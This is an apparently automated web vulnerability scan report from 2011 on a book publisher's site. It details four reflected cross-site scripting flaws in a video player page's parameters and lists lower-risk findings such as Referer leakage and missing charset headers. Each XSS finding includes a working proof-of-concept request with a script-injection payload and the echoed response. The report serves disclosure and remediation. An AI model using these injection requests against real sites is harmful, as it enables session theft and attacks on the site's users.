XSS, tatepublishing.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 07:57:46 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.


XSS.CX Home XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://www.tatepublishing.com/video/videoplayer.php [h parameter]

1.2. http://www.tatepublishing.com/video/videoplayer.php [n parameter]

1.3. http://www.tatepublishing.com/video/videoplayer.php [name of an arbitrarily supplied request parameter]

1.4. http://www.tatepublishing.com/video/videoplayer.php [w parameter]

2. Cross-domain Referer leakage

2.1. http://www.tatepublishing.com/

2.2. http://www.tatepublishing.com/video/videoplayer.php

3. Cross-domain script include

4. HTML does not specify charset

4.1. http://www.tatepublishing.com/

4.2. http://www.tatepublishing.com/favicon.ico

4.3. http://www.tatepublishing.com/video/final-344pxADDSHARPEN/871f2/

4.4. http://www.tatepublishing.com/video/videoplayer.php



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.tatepublishing.com/video/videoplayer.php [h parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /video/videoplayer.php

Issue detail

The value of the h request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4abe7"><script>alert(1)</script>6124e308ec8 was submitted in the h parameter. This input was echoed as 4abe7\"><script>alert(1)</script>6124e308ec8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/videoplayer.php?w=170&h=1504abe7"><script>alert(1)</script>6124e308ec8&n=final-344pxADDSHARPEN.swf HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Referer: http://www.tatepublishing.com/?gclid=CJqvoZvg06cCFYyK4Aodagsp-w
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Type: text/html
Content-Length: 919

<html>
<head>

<title>Tate Video Player</title>
</head>
<body bgcolor="#000000" topmargin="0" leftmargin="0">

<table width=100% height=100% border=0 cellpadding=0 cellspacing=0>
<tr>
<td width=
...[SNIP]...
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="170" HEIGHT="1504abe7\"><script>alert(1)</script>6124e308ec8" id="video" ALIGN="">
...[SNIP]...

1.2. http://www.tatepublishing.com/video/videoplayer.php [n parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /video/videoplayer.php

Issue detail

The value of the n request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f615"><script>alert(1)</script>a27bbb92d1e was submitted in the n parameter. This input was echoed as 3f615\"><script>alert(1)</script>a27bbb92d1e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/videoplayer.php?w=170&h=150&n=final-344pxADDSHARPEN.swf3f615"><script>alert(1)</script>a27bbb92d1e HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Referer: http://www.tatepublishing.com/?gclid=CJqvoZvg06cCFYyK4Aodagsp-w
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:17 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Type: text/html
Content-Length: 919

<html>
<head>

<title>Tate Video Player</title>
</head>
<body bgcolor="#000000" topmargin="0" leftmargin="0">

<table width=100% height=100% border=0 cellpadding=0 cellspacing=0>
<tr>
<td width=
...[SNIP]...
<param NAME=movie VALUE="final-344pxADDSHARPEN.swf3f615\"><script>alert(1)</script>a27bbb92d1e">
...[SNIP]...

1.3. http://www.tatepublishing.com/video/videoplayer.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /video/videoplayer.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 871f2"><script>alert(1)</script>3dd6adef590 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 871f2\"><script>alert(1)</script>3dd6adef590 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/videoplayer.php?w=170&h=150&n=final-344pxADDSHARPEN/871f2"><script>alert(1)</script>3dd6adef590.swf HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Referer: http://www.tatepublishing.com/?gclid=CJqvoZvg06cCFYyK4Aodagsp-w
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:19 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Type: text/html
Content-Length: 921

<html>
<head>

<title>Tate Video Player</title>
</head>
<body bgcolor="#000000" topmargin="0" leftmargin="0">

<table width=100% height=100% border=0 cellpadding=0 cellspacing=0>
<tr>
<td width=
...[SNIP]...
<param NAME=movie VALUE="final-344pxADDSHARPEN/871f2\"><script>alert(1)</script>3dd6adef590.swf">
...[SNIP]...

1.4. http://www.tatepublishing.com/video/videoplayer.php [w parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /video/videoplayer.php

Issue detail

The value of the w request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7593"><script>alert(1)</script>28887d6442f was submitted in the w parameter. This input was echoed as e7593\"><script>alert(1)</script>28887d6442f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /video/videoplayer.php?w=170e7593"><script>alert(1)</script>28887d6442f&h=150&n=final-344pxADDSHARPEN.swf HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Referer: http://www.tatepublishing.com/?gclid=CJqvoZvg06cCFYyK4Aodagsp-w
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Type: text/html
Content-Length: 919

<html>
<head>

<title>Tate Video Player</title>
</head>
<body bgcolor="#000000" topmargin="0" leftmargin="0">

<table width=100% height=100% border=0 cellpadding=0 cellspacing=0>
<tr>
<td width=
...[SNIP]...
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="170e7593\"><script>alert(1)</script>28887d6442f" HEIGHT="150" id="video" ALIGN="">
...[SNIP]...

2. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


2.1. http://www.tatepublishing.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /?gclid=CJqvoZvg06cCFYyK4Aodagsp-w HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:08 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Set-Cookie: homeVideo=Y
Content-Type: text/html
Content-Length: 18833

<html><head>
<title>Book Publisher, Book Publishers, Publishing Your Book, Publishing Companies, Christian Book Publisher, Christian Book Publishers, Christian Publishing | Tate Publishing</title>

<m
...[SNIP]...
</SCRIPT>
<script src="http://cdn.wibiya.com/Toolbars/dir_0566/Toolbar_566372/Loader_566372.js" type="text/javascript"></script>
...[SNIP]...
<p><a href="http://twitter.com/Tatepublishing" target="new"><img src="images/icontwitter.gif" width=61 height=60 alt="Follow Us On Twitter" border=0></a><a href="http://www.facebook.com/tatepublishing" target="new"><img src="images/iconfacebook.gif" width=61 height=60 alt="Follow Us On Facebook" border=0>
...[SNIP]...

2.2. http://www.tatepublishing.com/video/videoplayer.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /video/videoplayer.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /video/videoplayer.php?w=170&h=150&n=final-344pxADDSHARPEN.swf HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Referer: http://www.tatepublishing.com/?gclid=CJqvoZvg06cCFYyK4Aodagsp-w
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:10 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Type: text/html
Content-Length: 831

<html>
<head>

<title>Tate Video Player</title>
</head>
<body bgcolor="#000000" topmargin="0" leftmargin="0">

<table width=100% height=100% border=0 cellpadding=0 cellspacing=0>
<tr>
<td width=100% valign=center align=center><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="170" HEIGHT="150" id="video" ALIGN="">

<param NAME=movie VALUE="final-344pxADDSHARPEN.swf">
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /?gclid=CJqvoZvg06cCFYyK4Aodagsp-w HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:08 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Set-Cookie: homeVideo=Y
Content-Type: text/html
Content-Length: 18833

<html><head>
<title>Book Publisher, Book Publishers, Publishing Your Book, Publishing Companies, Christian Book Publisher, Christian Book Publishers, Christian Publishing | Tate Publishing</title>

<m
...[SNIP]...
</SCRIPT>
<script src="http://cdn.wibiya.com/Toolbars/dir_0566/Toolbar_566372/Loader_566372.js" type="text/javascript"></script>
...[SNIP]...

4. HTML does not specify charset  previous
There are 4 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


4.1. http://www.tatepublishing.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /

Request

GET /?gclid=CJqvoZvg06cCFYyK4Aodagsp-w HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:08 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Set-Cookie: homeVideo=Y
Content-Type: text/html
Content-Length: 18833

<html><head>
<title>Book Publisher, Book Publishers, Publishing Your Book, Publishing Companies, Christian Book Publisher, Christian Book Publishers, Christian Publishing | Tate Publishing</title>

<m
...[SNIP]...

4.2. http://www.tatepublishing.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y; __utmz=168056868.1300301404.1.1.utmgclid=CJqvoZvg06cCFYyK4Aodagsp-w|utmccn=(not%20set)|utmcmd=(not%20set); __utma=168056868.998621809.1300301404.1300301404.1300301404.1; __utmc=168056868; __utmb=168056868.1.10.1300301404; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:50:18 GMT
Server: Apache
Last-Modified: Tue, 28 Dec 2010 21:01:51 GMT
ETag: "640-4987ec2f54dc0;49e9b49e97a00"
Accept-Ranges: bytes
Content-Length: 1600
Content-Type: text/html

<html>
<head>
<title>Tate Publishing - Whoops! - 404 Error</title>

<style type="text/css">

body {
font-size: 12px;
line-height: 20px;
font-family: Helvetica, Arial, Verdana, Geneva, sans
...[SNIP]...

4.3. http://www.tatepublishing.com/video/final-344pxADDSHARPEN/871f2/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /video/final-344pxADDSHARPEN/871f2/

Request

GET /video/final-344pxADDSHARPEN/871f2/ HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Referer: http://www.tatepublishing.com/video/videoplayer.php?w=170&h=150&n=final-344pxADDSHARPEN/871f2%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E3dd6adef590.swf
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y; __utmz=168056868.1300301404.1.1.utmgclid=CJqvoZvg06cCFYyK4Aodagsp-w|utmccn=(not%20set)|utmcmd=(not%20set); __utma=168056868.998621809.1300301404.1300301404.1300301404.1; __utmc=168056868; __utmb=168056868.1.10.1300301404; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:14:09 GMT
Server: Apache
Last-Modified: Tue, 28 Dec 2010 21:01:51 GMT
ETag: "640-4987ec2f54dc0;49a4e16d49600"
Accept-Ranges: bytes
Content-Length: 1600
Content-Type: text/html

<html>
<head>
<title>Tate Publishing - Whoops! - 404 Error</title>

<style type="text/css">

body {
font-size: 12px;
line-height: 20px;
font-family: Helvetica, Arial, Verdana, Geneva, sans
...[SNIP]...

4.4. http://www.tatepublishing.com/video/videoplayer.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tatepublishing.com
Path:   /video/videoplayer.php

Request

GET /video/videoplayer.php?w=170&h=150&n=final-344pxADDSHARPEN.swf HTTP/1.1
Host: www.tatepublishing.com
Proxy-Connection: keep-alive
Referer: http://www.tatepublishing.com/?gclid=CJqvoZvg06cCFYyK4Aodagsp-w
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: homeVideo=Y

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:50:10 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Type: text/html
Content-Length: 831

<html>
<head>

<title>Tate Video Player</title>
</head>
<body bgcolor="#000000" topmargin="0" leftmargin="0">

<table width=100% height=100% border=0 cellpadding=0 cellspacing=0>
<tr>
<td width=
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 07:57:46 CDT 2011.